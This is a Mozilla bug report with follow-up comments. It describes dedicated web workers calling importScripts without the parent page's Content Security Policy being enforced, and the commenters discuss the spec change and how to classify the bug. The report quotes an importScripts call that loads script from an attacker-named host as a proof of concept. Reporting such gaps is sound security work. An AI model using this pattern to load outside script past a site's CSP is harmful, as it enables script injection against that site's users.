1413492 - importScripts is not governed by CSP set in a dedicated workers parent

Status: RESOLVED DUPLICATE of bug 1320931

(Core :: DOM: Security, defect, P3)

Description

[Jun (Request needinfo for comment, I ignore other updates)]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36

Steps to reproduce:

1. Go to https://test.shhnjk.com/csp_external.html
2. Observe the "Message from attacker!"


Actual results:

importScripts("https://attack.shhnjk.com/worker.js") on worker is not governed by either CSP script-src 'self' nor worker-src 'self'.


Expected results:

2.4 of Changes from Level2 (https://w3c.github.io/webappsec-csp/#changes-from-level-2) says "Dedicated workers now always inherit their creator’s policy". Nightly now supports worker-src, so this should be blocked.

Comment 1

[Ben Kelly [:bkelly, not reviewing]]

(In reply to Jun from comment #0)
> 2.4 of Changes from Level2
> (https://w3c.github.io/webappsec-csp/#changes-from-level-2) says "Dedicated
> workers now always inherit their creator’s policy". Nightly now supports
> worker-src, so this should be blocked.

FWIW, I dislike this spec change.  People want to treat dedicated workers like subresources even though they create their owns globals.

Anyway, is there a WPT for this?

Comment 2

[Daniel Veditz [:dveditz]]

Not sure we should consider this a security bug -- the spec is changing and every site / browser could be implementing a different level of support.

Comment 3

[Christoph Kerschbaumer [:ckerschb]]

(In reply to Daniel Veditz [:dveditz] from comment #2)
> Not sure we should consider this a security bug -- the spec is changing and
> every site / browser could be implementing a different level of support.

Yeah, this doesn't need to be a hidden bug. Whether this is desired behavior or not is debatable in my opinion. Either way, one would have to successfully launch a worker before one could even call importScripts. But I am open for discussions.

For the reference, worker-src was implemented within Bug 1302667.

Comment 4

[Ben Kelly [:bkelly, not reviewing]]

Updating the title to reflect that this depends on CSP inheritence.  I believe we do enforce CSP on importScripts() for CSP set directly on the worker script load headers.

Comment 6

[Tom Schuster (MoCo)]

Duping this to the now invalid bug 1320931.